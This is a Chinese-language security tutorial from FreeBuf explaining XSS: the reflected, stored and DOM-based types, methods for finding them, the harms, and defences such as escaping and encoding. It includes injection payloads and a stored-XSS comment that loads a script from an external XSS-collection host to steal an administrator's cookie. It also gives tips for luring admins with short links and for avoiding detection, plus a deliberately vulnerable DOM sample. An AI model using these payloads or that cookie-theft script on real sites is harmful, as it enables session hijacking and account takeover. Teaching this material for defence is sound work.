freeBuf
XSS详解
2023-06-19 22:05:42
所属地 北京

XSS详解

一、XSS攻击简介

XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了。

作为一种HTML注入攻击,XSS攻击的核心思想就是在HTML页面中注入恶意代码,而XSS采用的注入方式是非常巧妙的。在XSS攻击中,一般有三个角色参与:攻击者、目标服务器、受害者的浏览器。

由于有的服务器并没有对用户的输入进行安全方面的验证,攻击者就可以很容易地通过正常的输入手段,夹带进一些恶意的HTML脚本代码。当受害者的浏览器访 问目标服务器上被注入恶意脚本的页面后,由于它对目标服务器的信任,这段恶意脚本的执行不会受到什么阻碍。而此时,攻击者的目的就已经达到了。

下面我们以一段简单的JavaScript脚本为例,来描述整个XSS攻击的过程:

<script>alert(document.cookie);</script>

上面这段脚本的执行具体内容就是弹出一个对话框显示用户的Cookie信息。攻击者在向目标服务器的某个页面进行数据输入的过程中,通过正常的输入方式夹带进这段脚本。假如一切正常的时候,生成的页面代码如下形式:

<html>



text //正常输入的数据



</html>

如果用户的输入为

text<script>alert(document.cookie);</script>,

而目标服务器又没有对这个输入进行检验的话,则会生成如下形式的页面代码:

<html>



text

<script>alert(document.cookie);</script>



</html>

可以看到,这段脚本已经成功嵌入到该页面当中。当受害浏览器访问这个页面的时候,这段脚本也将被认为是页面的一部分,从而得到执行,即弹出对话框显示受害浏览器的Cookie信息。

二、XSS原理

XSS的原理是恶意攻击者往 Web 页面里插入恶意可执行网页脚本代码,当用户浏览该页之时,嵌入其中 Web 里面的脚本代码会被执行,从而可以达到攻击者盗取用户信息或其他侵犯用户安全隐私的目的。

三、XSS攻击类型

根据XSS脚本注入方式的不同,我们可以将XSS攻击简单的分类为反射型XSS、存储型XSS、DOM-based 型、。

1、反射型XSS(非持久型XSS)

又称非持久型XSS。之所以称为反射型XSS,是因为这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等等方式“反射”回来的:发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,故叫反射型XSS。 而称为非持久型XSS,则是因为这种攻击方式具有一次性,由于代码注入的是一个动态产生的页面而不是永久的页面,因此这种攻击方式只在点击链接的时候才产生作用。

攻击者通过电子邮件等方式给别人发送带有恶意脚本代码参数的 URL,当 URL 地址被打开时,注入脚本被传输到目标服务器上,然后服务器将注入脚本“反射”到受害者的浏览器上,特有的恶意代码参数被 HTML 解析、执行。

非持久型 XSS 漏洞攻击的四大特点:① 即时性。不经过服务器存储,直接通过 HTTP 的 GET 和 POST 请求就能完成一次攻击,拿到用户隐私数据;②攻击者需要诱骗点击;③反馈率低,所以较难发现和响应修复;④盗取用户敏感保密信息。

防止出现非持久型 XSS 漏洞的五大措施:① Web 页面渲染的所有内容或者渲染的数据都必须来自于服务端;②尽量不要从 URL,document.referrer,document.forms 等这种 DOM API 中获取数据直接渲染;③尽量不要使用 eval, new Function(),document.write(),document.writeln(),window.setInterval(),window.setTimeout(),innerHTML,document.creteElement() 等可执行字符串的方法;④如果做不到以上几点,也必须对涉及 DOM 渲染的方法传入的字符串参数做 escape 转义;⑤ 前端渲染的时候对任何的字段都需要做 escape 转义编码。

2、存储型XSS(持久型XSS)

存储型XSS,又称持久型XSS,他和反射型XSS最大的不同就是,攻击脚本将被永久地存放在目标服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码。

一般存在于 Form 表单提交等交互功能,如发帖留言,提交文本信息等,黑客利用的 XSS 漏洞,将内容经正常功能提交进入数据库持久保存,当前端页面获得后端从数据库中读出的注入代码时,恰好将其渲染执行。

这种攻击多见于论坛,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入到帖子的内容之中。随着帖子被论坛服务器存储下来,恶意脚本也永久地被存放在论坛服务器的后端存储器中。当其它用户浏览这个被注入了恶意脚本的帖子的时候,恶意脚本则会在他们的浏览器中得到执行,从而受到了攻击。

可以看到,存储型XSS的攻击方式能够将恶意代码永久地嵌入一个页面当中,所有访问这个页面的用户都将成为受害者。如果我们能够谨慎对待不明链接,那么反射型的XSS攻击将没有多大作为,而存储型XSS则不同,由于它注入的往往是一些我们所信任的页面,因此无论我们多么小心,都难免会受到攻击。可以说,存储型XSS更具有隐蔽性,带来的危害也更大,除非服务器能完全阻止注入,否则任何人都很有可能受到攻击。

持久型 XSS 的三大特点:①持久性,植入在数据库中;②危害面广,甚至可以让用户机器变成 DDoS 攻击的肉鸡;③ 盗取用户敏感私密信息。

防止持久型 XSS 漏洞的三大措施:①后端在入库前应该选择不相信任何前端数据,将所有的字段统一进行转义处理;②后端在输出给前端数据统一进行转义处理;③前端在渲染页面 DOM 的时候应该选择不相信任何后端数据,任何字段都需要做转义处理。

3、DOM-based 型

客户端的脚本程序可以动态地检查和修改页面内容,而不依赖于服务器端的数据。例如客户端如从 URL 中提取数据并在本地执行,如果用户在客户端输入的数据包含了恶意的 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到 DOM-based XSS 攻击。需要特别注意以下的用户输入源 document.URL、 location.hash、 location.search、 document.referrer 等。

四.xss漏洞原理分析与挖掘方法

0x01 反射型xss

反射型xss是能挖到的xss中最多的,他的原理如下:

1.黑客发现了一个存在反射型xss的URL

2.查看源码根据输出环境构造特定的xss代码,也会进行编码缩短代码,这个可有可无

3.把构造的xss代码发送给受害者

4.受害者点击后执行xss代码

5.完成黑客想要的功能,多是获取cookie


原理就是这么个原理,现在看一下怎么挖掘:

很多工具都可以扫描出反射型xss,但如果想要更隐蔽,或者是某些系统不允许扫描,这个时候就要手工检测了,这也是最能练技术时候,先说一下工具扫描,常见的扫描工具有: Safe3WVS,burpsuite,AWVS,appscan,W3af

比如如下网站:

1687182622_64905d1e51dc9338c6f92.jpg!small?1687182621763

我们在账户输入处输入whoami,查看源代码,按下ctrl+f来搜索:whoami,看出现在哪个位置,来构造特定的payload

1687182682_64905d5a64ca7c1eca8c4.jpg!small?1687182683058

我么可以构造"> <script>alert('XSS')</script>把前面的<input闭合掉,让它执行后面的代码,构造好代码后把URL变成短链接发送给管理员,管理员点击打开获取他的cookie登录

1687182740_64905d9436520dc8b72da.jpg!small?1687182739474

挖掘反射型xss的方法就是这些,手工也是这个方法,只是需要自己去找存在xss漏洞的网站,手工就一句话:见框就插,改数据包中的参数,改URL中的参数,js源代码分析。

改数据包,js源代码分析比较深就不再细说了,见框就插就比较好理解了,先在输入框输入唯一的字符串,查看源代码字符串的位置,在输入 <>""/&()看过滤了什么,根据过滤的字符来构造特定的xss代码

0x02存储型xss

存储型xss和反射型不同的地方在于他会把输入的数据保存在服务端,反射型输入的数据游走在客户端

存储型xss主要存在于留言板评论区,因为最近没有挖到存储型xss,所以自己写了一个留言板用来演示:

1687182789_64905dc5c1f752a4e4fd8.jpg!small?1687182789057



点击留言(这里最好不要使用<script>alert("xss")</script>来测试是否存在XSS漏洞,容易被管理员发现,所以你可以使用<a></a>来测试,如果成功了,不会被管理员发现)OK,我先在留言里出输入s提交留言,F12打开审查元素,来看我们输入的标签是否被过滤了

1687182847_64905dff94528336e4200.jpg!small?1687182846946

发现没有过滤(如果s是彩色的说明没有过滤,如果是灰色就说明过滤了)

那我就在xss平台里创建一个项目,然后再次留言,里面写上,“<script src="[http://xss8.pw/EFe2Ga?1409273226](https://link.zhihu.com/?target=http%3A//xss8.pw/EFe2Ga%3F1409273226)"></script>我想报名“

1687182961_64905e715eb034904ec39.jpg!small?1687182960771


只要管理员点击就会获取管理员cookie和后台地址

0x03 DOM XSS

上面两种都需要服务端的反馈来构造xss,DOM并不需要与服务端进行交互,是基于javascript的,保存如下代码为123.html

<script>
document.write(document.URL.substring(document.URL.indexOf("a=")+2,document.URL.length));
</script>

在这里我先解释下上面的意思

Document.write是把里面的内容写到页面里。

document.URL是获取URL地址。

Substring 从某处到某处,把之间的内容获取。

document.URL.indexOf("a=")+2是在当前URL里从开头检索a=字符,然后加2(因为a=是两个字符,我们需要把他略去),同时他也是substring的开始值

document.URL.length是获取当前URL的长度,同时也是substring的结束值。

合起来的意思就是:在URL获取a=后面的值,然后把a=后面的值给显示出来。

1687183020_64905eac4fced9cd8924c.jpg!small?1687183019616

怎么会出现这个问题呢?

因为当前url并没有a=的字符,而indexOf的特性是,当获取的值里,如果没有找到自己要检索的值的话,返回-1。找到了则返回0。那么document.URL.indexOf("a=")则为-1,再加上2,得1。然后一直到URL最后。这样一来,就把file的f字符给略去了,所以才会出现ile:///C:/Users/Administrator/Desktop/1.html

大致的原理都会了,我们继续下面的

我们可以在123 .html,?a=123或则#a=123,只要不影响前面的路径,而且保证a=出现在URL就可以了。

1687183099_64905efb477e7d3c2e231.jpg!small?1687183098530

我们清楚的看到我们输入的字符被显示出来了。

那我们输入<script>alert("xss")</script>会怎么样呢?

答案肯定是弹窗, 但是,这里没有弹框,主要是因为浏览器过滤了

1687183166_64905f3e6ff5d181ed85b.jpg!small?1687183165761

五.XSS的危害

(1)网络钓鱼,包括盗取各类用户账号;

(2)窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;

(3)劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等;

(4)强制弹出广告页面、刷流量等;

(5)网页挂马,进行恶意操作,例如任意篡改页面信息、删除文章等;

(6)进行大量的客户端攻击,如DDoS攻击;

(7)获取客户端信息,例如用户的浏览历史、真实IP、开放端口等;

(8)控制受害者机器向其他网站发起攻击;

(9)结合其他漏洞,如CSRF漏洞,实施进一步作恶;

(10)提升用户权限,包括进一步渗透网站;

(11) 传播跨站脚本蠕虫等;

六.XSS防御

1、对输入和URL参数进行过滤(白名单和黑名单)

检查用户输入的数据中是否包含一些特殊字符,如<、>、’、“等,发现存在特殊字符,将这些特殊字符过滤或者编码。

2、HTML实体编码

字符串js编码转换成实体html编码的方法(防范XSS攻击)

3、对输出内容进行编码

在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。

本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
文章目录